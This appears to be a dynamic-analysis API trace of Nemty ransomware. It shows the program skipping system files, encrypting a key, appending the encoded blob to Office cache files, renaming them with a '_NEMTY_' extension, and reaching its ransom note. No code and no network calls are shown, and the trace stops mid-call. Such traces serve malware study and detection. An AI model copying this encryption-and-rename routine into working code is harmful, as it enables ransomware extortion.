[0048.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.853] Sleep (dwMilliseconds=0x5) [0048.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d2df70, dwHighDateTime=0x1d561e7)) [0048.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d2df70, dwHighDateTime=0x1d561e7)) [0048.857] GetLastError () returned 0x0 [0048.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.857] GetLastError () returned 0x0 [0048.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.857] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.857] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="pV5FSWsOa+5ATswZygrDngl3w/sFzjOi4LWoK2My7uhI9jxpELJWTge3ezPMfCUf\r\n+ULaYuhOu+kDerSeyZpg1nO8vt32p1gZRsmBKcmN1vnvLxXg3KOZXvHo7czU5Jmc\r\nxhVzFGrVY4ubbiJTUM6E8n1tqxLb9AGER95V+FYjKvaaXmgojFe1w9oTdOxa8aEy\r\nk4pJ6nRSzIgAlkk/3ofw5xKH0YFoQ49aOmR+YTSSog5cwAmC46uMdsnwc0ZnDciR\r\nzVHZdUgETzyAKDyFcnlfjsJYSx+PUlhIrisP9qjuUVMxjvcrXha5LvpyZ42OkEsD\r\n9mXm2LPNvTn5QKmItu6okA==\r\n", pcchString=0x653ef9c) returned 1 [0048.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.858] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=9352) returned 1 [0048.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2480) returned 0x6346d48 [0048.858] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.858] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x2480, lpOverlapped=0x0) returned 1 [0048.861] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.861] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x2480, lpOverlapped=0x0) returned 1 [0048.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.862] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=9352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2488 [0048.862] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.862] CloseHandle (hObject=0x3c8) returned 1 [0048.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.863] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.863] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0048.863] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".") returned 1 [0048.863] lstrcmpiW (lpString1="ShellUI.MST", lpString2="..") returned 1 [0048.863] lstrcmpiW (lpString1="ShellUI.MST", lpString2="...") returned 1 [0048.863] lstrcmpiW (lpString1="ShellUI.MST", lpString2="windows") returned -1 [0048.863] lstrcmpiW (lpString1="ShellUI.MST", lpString2="$RECYCLE.BIN") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="rsa") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="NTDETECT.COM") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ntldr") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="MSDOS.SYS") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="IO.SYS") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="boot.ini") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="boot.ini") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="AUTOEXEC.BAT") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ntuser.dat") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="desktop.ini") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="CONFIG.SYS") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="RECYCLER") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="BOOTSECT.BAK") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="bootmgr") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="programdata") returned 1 [0048.864] lstrcmpiW (lpString1="ShellUI.MST", lpString2="appdata") returned 1 [0048.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShellUI.MST", lpUsedDefaultChar=0x0) returned 11 [0048.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShellUI.MST", lpUsedDefaultChar=0x0) returned 11 [0048.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShellUI.MST", lpUsedDefaultChar=0x0) returned 11 [0048.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShellUI.MST", lpUsedDefaultChar=0x0) returned 11 [0048.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.865] Sleep (dwMilliseconds=0x5) [0048.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d540d0, dwHighDateTime=0x1d561e7)) [0048.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d540d0, dwHighDateTime=0x1d561e7)) [0048.873] GetLastError () returned 0x0 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.873] GetLastError () returned 0x0 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.873] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.873] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="PhKpovzlbjTY8zx+yObGUq1/zQYU8RTE4qYgQtBrMH4YydYoloGCinyWramFCOfU\r\n9+0tvLgz5GLDj73IdFF3D++sJRRyyjNkVHgQVRcNYqDLYQikS9lSbJAWjl5EJoC2\r\nAmpdvSbFh/Bv8gpu3QzrLWU4TI7R0fzMmSZQPkgI8eqRGMTdD4+GQVdGxgXGdDgR\r\nfooMlnbw1I9fGEakVYJ7wgMfJZfN0GY4M1GDr5UbspWNEBNhUa5Ag7vQCau22Cd5\r\nCDTT+nT3L/uXZ55yNhk4iOKrm3r6oJGbivzgafLFvvHV2/Td2ke/gDMQn69I83xf\r\nRI4Lwo4IsFRkMwAVxGM+Ng==\r\n", pcchString=0x653ef9c) returned 1 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.874] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=3584) returned 1 [0048.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x6346d48 [0048.874] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.874] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0xe00, lpOverlapped=0x0) returned 1 [0048.876] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.876] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0xe00, lpOverlapped=0x0) returned 1 [0048.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.876] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0048.876] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.877] CloseHandle (hObject=0x3c8) returned 1 [0048.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.877] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst._nemty_kgobjgd_")) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.878] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a806b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0a806b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0a806b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.879] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.879] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.879] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.879] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.879] HeapFree 